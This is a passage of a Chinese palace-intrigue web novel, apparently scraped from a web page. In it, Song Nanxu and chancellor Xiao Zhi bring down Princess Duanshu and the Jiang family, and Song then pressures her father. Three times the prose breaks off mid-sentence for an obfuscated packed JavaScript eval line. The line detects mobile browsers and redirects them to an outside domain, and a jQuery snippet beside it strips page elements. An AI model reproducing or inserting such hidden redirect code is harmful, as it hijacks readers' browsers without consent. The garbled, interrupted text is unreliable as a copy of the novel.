“放肆!” 端淑眸色一寒:“本宫乃是神宗与先太后独女,当今陛下的亲姑母,陛下怎会差遣你一个小小的大理寺卿传唤本宫,本宫看你就是假传陛下口谕,来人啊!” 随着端淑一声怒吼,不少身披战甲的府兵手持**,将裴怀忠等人团团围住。 端淑一挥手,冷然道:“裴怀忠假传圣旨,杀无赦!!” “我看谁敢!” 远远一道低沉而疏冷的声音,轻飘飘,淡然然传入端淑耳中。 端淑倏地沉下了脸色,皱起了眉头,双眼是触及说话之人的身影时,瞳孔猛地一缩:“萧止!怎么是你!?” 萧止神色慵懒,伸了个懒腰,打了个哈欠,身后除镜竹外,只跟了一名小厮,三人缓缓走近。 端淑没想到萧止竟然会到自己府中。 裴怀忠是萧止一手扶持,若没有他的收益,岂敢擅闯她的府邸。 莫非—— 端淑心下倏然一沉。 难不成,此事和萧止有关?! “大长公主殿下好大的威风,竟连陛下派来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这小厮面容枯黄,却是生的英气逼人,特别是一双眸子澄澈而明亮,好像天上的星子一般。 即便她换上了一身小厮短打,但端淑还是一眼就认出了宋南絮! “呵!”端淑冷笑,微微眯起了双眸,眼底是藏不住的阴骘:“宋大小姐还真是个人物!本宫还真是小瞧你了!!” 宋南絮并没有否认什么,只是微微一笑,说道:“多谢大长公主殿下抬爱。” “哼!”端淑冷笑一声,凑近宋南絮面前,唇角噙着冷凝的弧度说道:“你最好默默起到能够将本宫一击毙命,如若不然,待本宫从宫中回来时,便是你的死期!” “殿下好走!” 宋南絮微微侧身,给端淑让开了一条路。 她目送着裴怀忠带走了端淑,这才缓缓地收回了目光。 “母亲!母亲!” 宇文胤珣追了上去。 端淑驻足,伸出摸了摸儿子的脸,脸上满是慈爱与柔和:“珣儿放心,母亲去去就回。” 宇文胤珣看着端淑走远,倏然回过头,凝视宋南絮。 他踱步上前,双眸中满是怒火与不解:“宋大小姐,我以为我们是盟友,可你——” “盟友?” 宋南絮轻蔑一笑:“呵!我的确有心结交宇文公子这位朋友,但似乎大长公主殿下却并不这样认为。” 宇文胤珣想要上前询问清楚,但他刚一迈步,胸口忽然被一把折扇抵住了胸口。 他抬眸,目光深深地盯着萧止:“丞相大人!!” 萧止勾了勾嘴角:“裴大人可是最为公正廉明,你与其在这里浪费时间,倒不如想想如何才能帮助你母亲度才是。” 说完,他便带着宋南絮离开了端淑大长公主府。 坐在回飘絮庐的马车上,萧止笑吟吟地望着宋南絮:“可觉得心里痛快了?” 宋南絮阖了阖眸子,轻笑一声:“当然不够!” “不够?” 萧止凝眉,颀长的手指摸了摸他棱角分明的下巴:“既是不够,那就想想别的花样,絮儿觉得如何?” 宋南絮莞尔,微微挑眉:“你请我看了这么一出好戏,我若没有回礼,岂不失了礼数。” “哦?!” 萧止闻言,脸上露出了“兴趣”二字:“你可有什么更好玩的去处?” “自然。” 宋南絮撩开了车联,对驾驶马车的镜竹吩咐道:“去安仁坊西街。” 萧止不解:“安仁坊?” 他原以为宋南絮安排了什么戏码可看,可的安仁坊乃是市井之地,鱼龙混杂,那里能够什么热闹可看?! 安仁坊西街。 马车停在了一家名为回春堂的医馆外。 医馆外拥慢了大排场龙的队伍,这些人一个个气势汹汹,显然并非是来看病的或者,看起来更像是讨债的债主。 萧止扬起了棱角分明的下巴,微微蹙着眉头,瞧着马车外喧嚣的街道:“这有什么热闹可瞧?” 宋南絮顺着萧止的目光看向回春堂,唇角微微上扬:“世人都传你萧丞相手眼通天,金陵城中就没有你不知道的事情,看来,你这消息渠道也不过尔尔,竟连我这闺中女子都不如。” 萧止听她打趣儿自己,没有丝毫恼意,眼中满是欣赏地看着宋南絮,等待着为自己解惑。 宋南絮道:“这间医馆看似做的寻常百姓的生意,但背后真正的主人却是姜家之人。” 萧止脸上没有丝毫的惊讶,淡淡地说出了一个人的名字:“姜崇安。” 宋南絮微微颔首:“正是这位姜家三公子。” 萧止师从姜闻重,算起来是与其子女同辈,姜崇安乃是他老师的孙辈,算起来,若是见了面,还要称他一声小师叔呢。 他虽不在意姜家小一辈,但,对这位别具一格的姜三公子多少也有听说。 姜家满门簪缨,姜老太师更是桃李天下,却唯独教不好自己的这位孙儿,姜崇安不喜文弄墨,不爱舞刀弄枪,偏偏对经商感兴趣。 他还娶了一位商户之女,夫妻二人钻研此道,倒是将生意做的极大。 “那又如何?” 宋南絮唇角噙着一抹狡黠的笑:“你且仔细瞧。” 顺着宋南絮手指的方向,萧止看向了回春堂。 须臾,回春堂大门打开,走出来的正是姜崇安,门外这些人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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心思缜密,步步盘算 姜崇安倏地抓住了那人的衣领,好似没有听清他刚刚所说的话一般,拔高了音调大声问道:“你说什么?这批药材中有宫中所需的药材?!” 那人被姜崇安的举动吓了一跳,一时间没缓过神来,瞪大了眼睛点点头,满是诧异与惊恐地盯着他。 “这——” 姜崇安瞳孔骤然一缩,抓着他衣领的手不自觉地抖了起来。 萧止倚在软枕上,神情慵懒,他一边的唇角微扬,邪魅而妖异:“你怎知宫中所需?” 宋南絮哂笑一声,淡淡道:“原本也并不知情,是我身边的青雀无意间听说宫中所需药材,我想到了夏侯老先生曾进宫为太后请脉一事,顺水推舟便将回春堂有船运送药材进金陵城的消息放了出去。” 自宋南絮向宋萧然提议让宋昭与姜家联姻时,便已经开始留心着姜家了。 原也没打算将太师府如何,这是想要断了宋昭的退路,但,她却不曾想,一项老谋深算的姜太师竟会倒戈向端淑大长公主。 前世种种无时无刻不再提醒着宋南絮,即便是自个儿的血脉至亲都不可信,更不要相信任何一个随时能够在背后对自己拔刀子的人。 所以,她始终派青雀监视着姜家的动向。 而后,端淑欲在她祖母的寿宴上有动作,且这那些人还是姜闻重的门生,那就怪不得宋南絮给太师府寻点麻烦事了。 萧止微眯着眼,笑吟吟地看着宋南絮。 果然,只需要稍加提点,她便可窥视敌人内心,走一步算三步,能够提前防备着太师府行事。 甚至,能够提前布局! 据萧止收到的消息,自严氏病种,宋南絮接触济世堂,再借颜央为漕帮当家的母亲医治的这层关系,在这一次姜崇安装满药材的船只上做了手脚。 步步盘算,心思周密。 但,如此却根本伤不到姜家分毫。 萧止微一挑眉:“以姜闻重在朝堂之中分量,只要他出面,太后一定会给他这个面子,此事——” 宋南絮侧目。 她身形消瘦,越发显得一双眼眸大而明亮,她勾了勾唇,朱唇微启,声音极轻极柔:“你怎知,事情会如此简单?” 萧止自是听出宋南絮话中有话:“你还有后手?” 宋南絮漫不经心地道:“你且等着瞧。” 只是须臾,哒哒马蹄声骤然传入萧止耳廓之中,紧接着,一匹骏马飞驰而来,姜家的蛮老五姜崇焕策马扬鞭而来。 隔着老远,姜崇焕便瞧见了自家三哥与人发生了争执。 他立即挥起了手中马鞭,朝着姜崇安面前之人便是狠狠地鞭抽了过去。 “啪!” 随着一声猛烈而急促的鞭声落下。 那名和姜崇安纠缠的药材商竟被姜崇焕这一鞭抽飞了出去。 远远瞧了去,只见那人的从左脸到肩颈是一道皮开肉绽的鞭伤。 “啊!” 在一声惨叫过后,那药材商人倒在地上,痛得满地打滚。 萧止看见眼前一幕,唇角笑意变得愈发浓郁:“只怕这金陵城中没有比这位姜家五公子更鲁莽的莽夫了!” 宋南絮轻浅一笑:“所以,他才是最关键的人选!” 她拿起了马车中茶案上的青瓷茶壶斟满两盏茶,将一种一盏茶递给了萧止:“你可知姜崇焕刚刚所打的是何人?” 萧止接过了茶盏,轻轻啜了一口茶:“能知这批药材是为宫中采买,且竟还详知是为了太后治病的人,仔细想来,应该是太后身边的亲近之人——” 他撂下了茶盏,微微眯了眯眼,继续说道:“宫中能促成此事的,必然是太后身边的那位大监——高和。” 宋南絮端起了茶盏,呷了一口茶:“不错!姜崇焕打的人正大监高和的亲侄儿。” 她将空置的茶盏蓄满了茶水:“高和家中自幼丧父丧母,乃是由兄长养大,其兄是在高和八岁那年身患重病,为帮兄长治病,他自**进宫,从一名小太监做起,一直成为宫中首领太监,如今更是太后亲信。” 萧止抬了抬眼,目光幽深地看了宋南絮一眼:“你才回金陵城不久,没想到却对城中大小事知道这么清楚。” 说着, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15884289|171445||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 萧止下意识地朝驾驶马车的位置瞥了一眼,笑道:“你这女使的本事不小,难怪你当日会舍命相救!” 宋南絮闻言,眼前不禁浮现出当日救下青雀的画面。 青雀无论是身手武功,还是打探消息,皆是一等一的好手。 正如萧止所言,青雀的确值得自己舍命相救! 宋南絮笑笑又道:“高和身为太监,无子嗣的可能,所以极为疼爱这位侄儿,近乎倾尽一切为其筹谋,他自知道朝堂诡谲险恶,所以只希望自己的侄儿做一个富甲一方的商人,这次采买药材,事关太后身体,乃是宫中一等一大事,你猜猜,这一次太后和皇帝会不会给姜太师这个面子?” “呵!”萧止冷然一笑。 别的不说,这位大监在宫中浸淫多年,深知太后喜恶,深得太后欢心,虽言语不能左右太后心思,却也能够影响一二。 姜崇焕打了高和唯一的侄儿—— 虽说高和势必会为了侄儿出头,却也不见得会去得罪姜家。 除非一种可能,若是高家绝了后—— 萧止微微眯了眯眼,侧目凝望宋南絮。 这女人果然和他一样,每一步棋盘算至极。 正想着,忽然,马车外传来了一阵骚动,萧止眸色微敛朝马车外看去,只见人群中的骚乱惊了姜崇焕的马,他高坐马上,双手紧攥缰绳,欲要控制住失控的马儿。 然而—— 被打之人此行所带的仆从哪里肯放过姜崇焕,已然将他团团围住,今儿势必要让他还一个公道。 一项以蛮力著称的姜崇焕还不知事态的严重性。 他不断地挥舞着手中的马鞭,只是眨眼间,便将围上来的人一一打倒,却还要抽身控制着缰绳。 局势越发焦灼,姜崇焕身下的马儿也越发难以控制。 马儿高高扬起了前蹄,发出了一声长鸣。 姜崇安忽然高喊一声:“老五,莫要伤了旁人!!” 然而,一切却已经为时已晚,马蹄落下,不偏不倚正正踩踏在那位大监的侄儿腹部,他猛地侧身,一口鲜血喷涌而出! 第111章 闹出人命,无法收场 “杀人了!杀人了!” 人群之中,不知何人喊了一声,紧接着,铺天盖地的呼喊声四散而起。 一切发生的太过突然。 以至于姜崇安全然没有反应的时间,更不要说,此时此刻还要分心思来控制受到了惊吓马儿的姜崇焕。 闹出了人命?! 宋南絮凝眉。 这倒是在她意料之外的。 她虽是存心给姜家制造些难题,但毕竟与高家无冤无仇,也从未想过会闹出人命。 宋南絮起身凑到了马车前,瞧着地上大口大口吐血的男子。 这似乎—— 对于姜家来说的确是一件大麻烦事! 她全神贯注地看着回春堂外所发生的一切,全然没有留意自己身边萧止眼底的神色变化。 萧止修长的手指之间捏着半块碎裂的玉玦。 他一双狭长的凤眸之中,泛起了凛然的寒意,凝眸注视着马车外的一切。 与其事态缓慢紧张,倒不如推波助澜,让高和与姜闻冲彻底撕破脸才好,此事也就再也没有任何转圜的余地。 萧止手指稍稍用力,将手中那半枚玉玦捏的粉碎,敛去了眼底的神色,静静地看着回春堂外一切的发生,仿佛什么事都没有做过一般。 须臾间,围在回春堂外的人群散开。 姜崇焕也总算是稳住了躁动不安的马儿。 姜崇安立即上前,俯下了身,伸出了两根手指试探,下一瞬,他猛地瞪大了眼睛,瞳孔骤然一缩,满眼惊恐地看向姜崇焕:“他死了!!” 当真是死了人! 姜崇焕的脸色也沉了下来,却任不可置信:“三哥,你休要唬我,人哪有这般羸弱,我在军营训马时,也曾不马屁踩踏过,我不还是活得好好的么!” “你——” 姜崇安知道自己的兄弟是个头脑简单四肢发达的主。 却不曾想,他竟无知如此,人与人之间怎可相提并论,他自幼习武,身强体壮不说,一身蛮力更是无人可及,可高老板却—— 现在闹出了这么大的事,恐怕很难善了。 姜崇安毕竟救命商场,人情世故往来更是八面玲珑,第一时间,便想要安抚这位高老板带来的仆从。 然而—— 高家之人却没有给姜崇安丝毫缓和的机会。 还未等姜崇安开口,便有人喊道:“杀人偿命!杀人偿命!” 眼下,回春堂无法按时交货已然犯了众怒,再闹出了这种事,显然已达到了群起而攻之的地步。 眨眼间,高家仆从、小厮,便把姜崇焕团团围住,大有一副要和他拼命的架势。 姜崇焕是个没脑子的,这会儿不想求和,倒是和这些人打在了一块儿。 然,商贾之家豢养的仆从、小厮又怎么会是他一个武将的对手,只是须臾,一个个痛苦倒地,哀嚎不止。 姜崇安眼瞧着事态已经超过了自己的掌控。 他立即上前,一把拉住了姜崇焕的胳膊。 姜崇焕已经打红了眼,没瞧清楚拉住他的人是谁,猛地一拳头朝着姜崇安面门砸了过去。 “老五!!” 姜崇安的一声吼换回了这位蛮老五的理智。 “三哥——” “啪!”的一声脆响,姜崇安猛地一个耳光,重重地打在了姜崇焕的脸上,声音近乎咆哮道:“现在冷静了么!?” 姜崇焕捂住了自己的脸,不可置信地看着自己的三哥:“我——” 姜崇安深吸了一口气:“你——哎呀!老五,这下子你可是闯了大祸了!!” 他立即朝着自己的身后看去,现下,高家的仆从、小厮一个个到底不起,显然已经无从顾及他们,为今之计—— 姜崇安头脑灵光,眼珠子快速在眼眶之中转了转,用力地把姜崇焕拉倒了自己的身前,凑到了他的耳畔急声道:“你立刻回太师府,将回春堂外所发生的一切告知祖父,让他老人家想个对策!!” “三哥——” 姜崇焕还想要说什么。 姜崇安用力推了他一把:“还不快去!!” 事已至此,姜崇焕也别无他发,唯独有听从三哥的吩咐行事。 他撞开了身后人群,便想要立刻回到太师府。 然而—— 不待跑出三丈的距离,一列卫队便将姜崇焕拦了下来。 “此地出了何事?!” 所来之人乃是巡防营指挥使,当朝的肃国公——陈棠印! 陈棠印朝身后一挥手,立刻有两名官兵上前了解各种缘由,不出片刻,在回春堂外所发生的一切细枝末节一一传入了他的耳中。 他眸色倏然一沉,冷冷地扫了眼被官兵按下的姜崇焕,声音低沉而沙哑地道:“当街行凶!来人,将主犯——” “肃国公!!” 话音未落,倏然一道声音打断了陈棠印的话。 姜崇安快步上前,毕恭毕敬地对陈棠印施了一礼:“国公爷,在下乃是太师府长房三子,还请国公爷看在我祖父的份上,允许我五弟回府——” 陈棠印抬了抬眼,神情冷漠地看了他一眼:“原来是姜太师的孙儿。” 同为朝中重臣,肃国公与太师府虽未有深交,但两家多少也会同时出席宴会,肃国公又怎会不识太师府的小辈。 但,他言语之间却恍若不识,显然是不想给太师府这个颜面了。 “国公爷,还请看在——” 不待姜崇安开口,陈棠印倏然抬手打断了他的话:“不管你们是谁家子侄,光天化日之下,当街斗殴行凶,竟还闹出了人命,此事都不得商量!” 他转头看向身侧巡防营官兵,随即,将目光落在了姜崇安、姜崇焕兄弟二人身上,声音里带着不近人情的冷漠:“将姜家五公子带走收押!!” “肃国公!!” 陈棠印勒紧了手中战马缰绳,垂下了眸子,冷冷扫了姜崇安一眼,其后,调转了马头,没有留下只字片语,带走了姜崇焕。 “哎!” 姜崇安重重叹了一口气,用力地捶了一下自己的大腿:“怎么就闹成了这个样子!!” 他立即拉过了姜崇焕留下马匹,翻身上了马背,策马疾驰狂奔向太师府而去。 坐车马车中的宋南絮静静地看着一切的发生。 姜太师! 姜闻重! 既已选择了端淑大长公主,那便要做好付出惨痛代价的心里准备! 第112章 猫戏老鼠,其中乐趣 一切变故来的突然,打了宋萧然一个措手不及。 几日前,安远侯府还是端淑大长公主的赏花宴中的座上宾,然而,短短几日的时间,端淑收受贿赂,监国期间买官卖官,渝州受灾期间竟然向其进贡数万两白银。 还不不止如此,端淑为一己私欲,竟谋害朝中官员,豢养死士杀手,罪名罄竹难书。 皇帝龙颜震怒,甚至在早朝上将大理寺调查的卷宗摔向了他唯一的姑母! 宋萧然全程瑟瑟发抖,大气都不敢喘,生怕当日端淑以神宗亲自仪仗节安远侯府女眷前往大长公主府一事而遭受牵连。 此事未完,肃国公陈棠印亲临朝堂,带来了一则更为劲爆的消息,姜太师纵孙行凶,光天化日之下,竟将无辜百姓当街于战马之下踩踏至死。 一时间,朝堂之中大为震撼。 曾与端淑大战公主、太师姜闻重交好之人无不胆战心惊,瑟瑟发抖。 这其中就属宋萧然最为害怕。 前脚他还希望儿子能与太师府孙辈之中唯一女儿联姻,后脚又让女眷去了端淑大长公主赏花宴,早朝上,宋萧然始终耷拉着脑袋,生怕皇帝一怒之下牵连自己。 然而—— 越是怕什么就越是来什么。 忽然之间裴怀忠上前,参奏一本,将宋萧然近日来的连番操作一一叙述。 皇帝脸色变得十分难看。 宋萧然连忙下跪请罪。 “不不不,我不走这里。” 萧止想要拿走棋盘上的黑子,却被宋南絮一把打开了他的手。 他捂着被打红的右手,眨着一双澄澈明亮的眸子,哪里能瞧出眼前之人竟是权倾朝野,就连皇帝、太后都要看他脸色的佞臣奸相。 宋南絮白了萧止一眼:“落子无悔,你这般无赖,可还记得自个儿乃是当今丞相?!” 萧止嘿嘿一笑:“絮儿可还记得,我乃是奸相,自当是以‘奸诈’为先,哪里又不耍赖的道理!” 宋南絮被她逗笑,嗔怪道:“无赖!” 萧止微探身子,凑到了宋南絮的面前:“好絮儿,你就让让我么。” 宋南絮翻了个白眼:“你自个儿说,我都让你几局了?” 萧止伸出了一根手指:“最后一次好不好?” 宋南絮修长的手指略过棋盘,将一枚白子拿了起来:“最后一次,若你再耍赖,以后再也不和你下棋了。” 萧止脸上的笑容天真的像是一个不谙世事的孩子:“嘿嘿,絮儿最好了!” 宋南絮又翻了白眼。 这男人当真是权倾朝野的丞相么? 在她看来,简直和市井无赖一般! “今日朝局,堪比此棋局,看似死棋,实则——” 她话音为落,萧止手执黑子落在一子,使原本已经呈现必死的棋局,竟在这一子落在后,重新寻出了一条生路。 而且,白子竟还漏出了破绽,大有败退的局面。 萧止微微眯了一下眼,嘴角微微上扬,勾起了一抹狡黠的弧度:“絮儿,这局棋你要输喽!” 宋南絮凝眸,一瞬不瞬地盯着棋盘,嘴角噙着一抹浅笑,轻哂出声:“是么!那你可还要看好了!” 她手指夹着白子缓缓落下。 只一步,不仅将黑子团团围住,而且,竟还将黑子逼入绝境,损失了一大片。 宋南絮将黑子一一拿走:“你又要输了!” 萧止蹙眉,却已无能为力,再无转换余地:“哎!看来今日,注定是败局一场!” 宋南絮微挑眉梢,缓抬眼眸,望向萧止:“你的意思是说端淑还有翻身的可能?” 萧止轻笑:“端淑在朝堂之中浸淫多年,她虽为女子却有着当权的野心,看似被我们逼入穷巷,却也不见得没有反扑的可能。” 宋南絮微微皱起了眉心:“你是说,她还有后手?” 萧止笑道:“正如这盘棋,看似你攻势凶猛且毫无破绽,但如果——” 说着,萧止将黑子落在,仅一瞬,宋南絮面前的白子竟被反吃了一大片。 宋南絮看着棋局,微微地眯起了眼睛:“放弃防守,转为攻势,以死相搏只会两败俱伤。” 萧止唇角微笑变得愈发浓郁:“如此一来,这一局只能是和棋!” 宋南絮手执棋子,目光幽深地看着棋盘,这一子终究是无法落在。 半晌,她微叹了一口气:“看来,这一局终究是无法分出个胜负了。” 二人正说着,飘絮中的机关响动。 宋南絮将手中棋子随意地仍在了棋盘上:“看来,我父亲应该是下朝了。” 萧止笑笑:“既然,安远侯没有收到任何牵连,那边足以说明此事并未将端淑一击毙命!” 宋南絮明白其中道理,并未觉得不甘心,淡然一笑,说道:“倘若此招能够将他们一网打尽,那接下来岂不是不好玩了,猫儿再抓到老鼠之前,也并不会一口将其咬死,而是反复戏耍,才能够找到其中乐趣。” 萧止半眯着眼睛看着宋南絮:“那咱们就继续和他们好好玩玩,也让他们感受一下临死前的绝望。” 宋南絮站了起来,理了理身上并不存在的褶皱:“那就请丞相大人准备着。” “裴邵青已经前往普照庵,明日一早,普照庵之事便会暴露于人前,届时,你将会被推到风口浪尖之上,你可有想好对策?” 宋南絮唇角漾过一抹冷笑:“我等这一天已经很久了!!” 即便现在,无法找到普照庵的幕后主使之人是谁,但,能够一举将这方势力出掉,也是好事一件,至少能够将那些被操控的姑娘们从水火之中解救出来。 说罢,宋南絮没有回头,径直地走向了通往安远侯府的密室。 事已至此,她已经没有退路。 墨香居主屋房门打开的一瞬,青雀立即迎了上来:“姑娘,侯爷刚刚下了早朝,薛宝瑞使人先侯爷一步回府告知姑娘此事。” 宋南絮抬手扶了扶鬓间盈盈晃动的步摇流苏:“算算时辰,这会儿也应该回府了。” “大小姐!” 她话音刚落,院外便传来了贾荣的声音:“侯爷请大小姐去前厅。” 第113章 首鼠两端,操赢致奇 安远侯府前院正厅。 宋萧然如热锅上的蚂蚁,满心慢眼尽是焦灼,自下朝回府开始,他便一直在正厅里踱来踱去。 宋昭身子才稍有好转,便被宋萧然叫到了前厅议事。 时隔多日,宋昭伤势虽然痊愈,但身体却大不如前。 坐在高脊红椅上,越发显得他身形消瘦。 宋南絮送进正厅时,宋昭想要起身,他扶着座椅的扶手踉跄的两下才在小福子和小冬子的搀扶站了起来。 宋昭朝宋南絮温和一笑,苍白的双唇微启,声音气若游丝地道:“絮儿妹妹你来了。” 宋南絮神情淡漠微一点头,便直直地看向了宋萧然。 宋萧然见到了宋南絮,脸色倏地阴沉了下来。 他半眯着眼睛,眸子里冷凝着霜寒,好似从来不认识自己的这个女儿一般,从头到脚地打量着宋南絮。 好半晌,宋萧然收敛了目光,冷冷道:“这便是你昨日所说的城中大事?” 宋南絮脸色淡然,没有丝毫表情:“怎么?难道父亲觉得这件事还不够大么?” “你——” 宋萧然沉吟了一声,踱步上前,逼视着宋南絮的眼睛:“我没心思同你废话,你且说来,你是如何知晓此事的?!” 宋南絮眼眸低垂。 她这个父亲首鼠两端,操赢致奇,既左右摇摆,又想要图谋核心利益。 她既已暴露在宋萧然面前自己能力,便知道为了保全自己,保全家族利益,他一定会将自己交出去,换取最大价值的筹码。 但,宋南絮已全然不惧。 她迎着宋萧然凌厉的目光看了回去,唇角微微上扬勾起了一抹冷凝的弧度:“倘若,我说这件事皆是出自我的手笔,父亲又会如何呢?” “你说什么!?” 宋萧然全然不敢相信自己的耳朵。 他满眼惊恐,一错不错地盯着宋南絮的眼睛。 只一瞬,他便在心中有了自己的决断。 这绝不可能!! 宋南絮刚刚从庵堂归来,金陵城中门阀势力错综复杂,岂是她一时半刻能够洞悉勘察的,再者,端淑大长公主是何许人也,论心术,论谋划,她无疑能和端淑相提并论。 “呵!”宋萧然轻蔑一笑,冷然道:“不是为父瞧不起你,凭你的斤两也配算计——” 不待宋萧然把话说完,宋南絮立马开口打断了他的话,道:“父亲认为端淑为何会以神宗亲赐的銮驾来安远后附就接母亲去赏花宴?莫不是,父亲当真以为自己有这么大的脸面吧。” “你说什么!!” 宋萧然脸色蓦地一沉,作势就要抬手去打。 宋南絮就站在那里,不躲不避,眼睛里含着轻蔑与不屑,唇角噙着冷笑看着她的父亲。 这一瞬,宋萧然竟然在宋南絮的眼中看见了讥讽与揶揄。 仿佛是在说他的无能狂怒,又似在嘲笑他的举动。 宋南絮淡淡道:“既然父亲左右摇摆,我倒不介意帮你一把。” “帮我!?” 宋萧然抬起的手僵在了半空,深深地皱着眉头凝视着宋南絮。 “正是!” 宋南絮唇畔笑意渐浓:“父亲不会当真以为,将自己纳罪臣之女为妾一事禀名圣上,便是圣上眼中忠心耿耿的臣子了吧?!” 宋萧然深深地皱起了眉头,缓缓地放下了高举的手,眯着眼睛紧盯着宋南絮,问道:“你什么意思?!” 宋南絮:“我这是在帮父亲做决定,给您一个做好的选择,这个选择的最终所项不是端淑,更不会是姜闻重!” 宋萧然更加疑惑。 之前,宋南絮可是提议要让宋昭迎娶太师府长房唯一的女儿,怎么现在—— 宋萧然凝眸,沉思。 脑海中不断分析利弊,想着近日来金陵城中所发生的事。 突然,宋萧然眼前一亮,似是想到了其中的关键。 他倏地瞪大了眼睛,惊讶地看着宋南絮:“你是说——” 宋南絮微微一笑:“父亲应该想到了,前日宇文胤珣突然到访为祖母贺寿,席间曾与哪几位朝中大臣攀谈。” 的确,宋萧然想到了老太太寿宴当日,和宇文胤珣相谈甚欢的几个人皆是姜太师门生。 “你是谁姜闻重已与端淑——” “父亲!” 宋南絮及时打断了宋萧然的话:“有些事您心知肚明便可。” “可如此一来,岂不是让安远侯府与两家交恶,这与我安远侯府可是大大的不利啊!!” “父亲难道还没有看明白如今的局势么?!” 宋南絮施施然落在,端起了桌案上的青瓷茶盏阖了阖杯盖,轻轻地吹开了漂浮在茶汤上的茶叶:“圣上有心收拢权柄,绝不会再让端淑做大,姜闻重姿势过高,满朝文官半数皆是他的门生,这二人心知肚明,一旦圣上大权在握,绝不会留他们在世,所以他们才会练手,想要先下手为强!” 宋南絮的一番话,让宋萧然和宋昭同时瞪大了眼睛。 这种话若传出安远侯府等同于谋逆,可是要抄家灭族的! 宋萧然急急道:“休要张扬!” 宋南絮并没有理会宋萧然,继续道:“我走这一步棋,正是为了帮助父亲,向圣上表明一个态度。” “哼!”宋萧然冷哼了一声,说道:“态度!?什么态度!?今日在朝堂之中,圣上看我的眼神——” 一想到今日朝堂之上,皇帝看自己的目光,宋萧然心里就一阵阵的发寒。 “可是父亲,您不是安然无恙地回府了么!” “这——” 皇帝今日的确没有斥责过他什么,但,这却并不代表以后不会。 近日来,安远侯府的确与端淑大长公主府、姜太师府走得近了一些,如果,圣上当真追究下来的话—— 宋萧然不敢多想。 只觉得脑袋疼的厉害。 宋南絮在宋萧然沉思时,轻蔑一笑,如同看杂耍班子里的猴子似的看着宋萧然。 正如她与萧止所言那般,若是一击毙命,倒是给了那些她深恶痛绝的仇人一个痛快,倒不如像是眼下这般,如猫儿戏耍老鼠来得痛快。 看着宋萧然愁思百转,眉头紧锁,一脸吃了死苍蝇的表情,宋南絮心里就觉得开心,痛快。 第114章 推波助澜,搅弄云雨 话虽如此。 可宋萧然仍心有余悸。 今日圣上龙颜震怒,下令彻查端淑当年受贿一事,并将一干涉案官员全部停职查办。 虽说昔日买卖官职一事与宋萧然无关,但圣心难测,他不知会不会因与端淑走得过密而遭受牵连。 若当真如此—— 可真是没吃着羊肉反惹了一身骚。 宋萧然拉长了一张脸,脸色仿佛像是锅底灰一般难看,他低着头,分析其中利与弊,要如何去做,才能够将自己摘得干净。 宋南絮自顾自地喝着茶,像是没瞧见宋萧然一脸的为难。 坐在对面的宋昭的目光却始终凝固在宋南絮的身上。 他发现自己越发看不懂宋南絮。 似乎,自己从不认识眼前之人。 她的心思难以琢磨。 自宋昭被宋萧然叫到正厅后,便一直同他斟酌此事,但却始终没有个结果。 可宋南絮此言,却似乎看得透彻。 瞧她一副坦然自若的模样,仿佛心中早有定夺。 相比之下,似乎她才是占据主导位置的那个人,而自己和父亲都要听从她的吩咐行事。 宋萧然思忖半晌,除了头疼也再无其他更好的对策。 最终,他只能够将目标落在宋南絮的身上:“絮儿,你所言当真如是么?” 宋南絮放下了手中茶盏,淡淡地看了一眼宋萧然:“当然,父亲且仔细想想,祖母寿宴上可曾发生过什么事?” 宋萧然蹙眉沉思,忽然,他眼前一亮:“你是说萧相!?” 萧丞相可左右朝局,他既入府为老太太贺寿,那便足以说明他对安远侯府的看中,如此一来,只要他肯保安远侯府,不论朝中闹得再凶,圣上自是不敢动他分毫。 “快备马车!” 相通了其中关键。 宋萧然立即吩咐人准备马车。 宋南絮看着宋萧然焦急的样子冷然一笑,他终究是落入她与萧止精心编织的网中。 宋萧然满心满眼都系在了他的荣华富贵上,此时,没有闲暇去看宋南絮一眼,急匆匆地出了安远侯府正厅,风驰电掣般地往外走去。 宋南絮撩起了裙裳,不疾不徐地站了起来。 她刚要动身,身后倏然传来了宋昭的声音:“絮儿。” 宋南絮驻足,侧目抬眸目光深深地看了宋昭一眼:“阿兄可是有话要同我说?” 有些话鲠在宋昭喉中许久,可他却始终无法开口。 宋昭抿了抿唇,一副嗫嚅模样:“絮儿,我觉得你好像和从前变得不一样了。” “从前?”宋南絮清冷一笑,淡淡道:“我若还是和从前一样,那这五年岂不是白活了。” “絮儿——” 宋昭还想要说什么,可是,当他的眼睛对上宋南絮的双眸时,仅一瞬,背脊竟然一阵阵发寒冷,仿佛置身于冰窟之中,透骨寒凉。 他的话顺价卡在了喉咙之中,再也说不出口。 他们之间的情谊,终究是他亲手断送了。 如今,再说那些又有什么用! 宋昭徒劳又无奈地苦笑,只觉眼前人好似井中月,雾里花,看得虚晃,难以琢磨,与他越来越远。 五年光景,一切皆已改变。 如果能重新来过,他选择了另外一条路,或许是不是会不一样了呢? 看着宋南絮渐行渐远的背影,宋昭忽然感觉自己的心隐隐作痛,行至正厅门口时,忽然身子一个不稳,一把扶住了门口。 “世子!” “世子!” 小福子、小冬子连忙上前扶住了他:“您没事吧?” 宋昭微微摇头,唇角蔓延一丝苦涩:“扶我回铭书院。” 